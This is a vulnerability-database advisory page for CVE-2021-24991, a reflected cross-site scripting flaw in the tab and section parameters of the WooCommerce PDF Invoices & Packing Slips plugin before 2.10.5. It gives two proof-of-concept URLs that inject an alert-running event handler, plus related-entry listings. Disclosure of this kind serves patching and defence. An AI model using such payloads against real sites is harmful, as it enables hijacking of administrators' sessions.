Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbKrzysztof ZającWPVDB-ID:88E706DF-AE03-4665-94A3-DB226E1F31A9
HistoryDec 06, 2021 - 12:00 a.m.

WooCommerce PDF Invoices & Packing Slips < 2.10.5 - Reflected Cross-Site Scripting

2021-12-0600:00:00
Krzysztof Zając
wpscan.com
11
woocommerce
pdf invoices
packing slips
cross-site scripting
reflected
admin dashboard
poc
vulnerability

EPSS

0.001

Percentile

30.3%

JSON

The plugin does not escape the tab and section parameters before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting in the admin dashboard

PoC

https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&amp;section;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(/XSS/)+x%3D https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&amp;tab;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(/XSS/)+x%3D

Related

wpexploit 2
nuclei 1
cve 1
patchstack 1
nvd 1
prion 1
cvelist 1
openvas 2
wpvulndb 1
wpexploit
wpexploit
WooCommerce PDF Invoices & Packing Slips < 2.10.5 - Reflected Cross-Site Scripting
2021-12-06 00:00:00
WooCommerce PDF Invoices & Packing Slips < 3.0.1 - Reflected Cross-Site Scripting
2022-08-03 00:00:00
nuclei
nuclei
WooCommerce PDF Invoices & Packing Slips WordPress Plugin < 2.10.5 - Cross-Site Scripting
2022-02-08 01:07:19
cve
cve
CVE-2021-24991
2022-01-03 13:15:08
patchstack
patchstack
WordPress WooCommerce PDF Invoices & Packing Slips plugin <= 2.10.4 - Reflected Cross-Site Scripting (XSS) vulnerability
2021-12-06 00:00:00
nvd
nvd
CVE-2021-24991
2022-01-03 13:15:08
prion
prion
Cross site scripting
2022-01-03 13:15:00
cvelist
cvelist
CVE-2021-24991 WooCommerce PDF Invoices & Packing Slips < 2.10.5 - Reflected Cross-Site Scripting
2022-01-03 12:49:10
openvas
openvas
WordPress WooCommerce PDF Invoices & Packing Slips Plugin < 2.10.5 XSS Vulnerability
2022-10-04 00:00:00
WordPress WooCommerce PDF Invoices & Packing Slips Plugin 2.14.x < 3.0.1 XSS Vulnerability
2022-10-04 00:00:00
wpvulndb
wpvulndb
WooCommerce PDF Invoices & Packing Slips < 3.0.1 - Reflected Cross-Site Scripting
2022-08-03 00:00:00

EPSS

0.001

Percentile

30.3%

JSON
Related for WPVDB-ID:88E706DF-AE03-4665-94A3-DB226E1F31A9
wpexploit2nuclei1cve1patchstack1nvd1prion1cvelist1openvas2wpvulndb1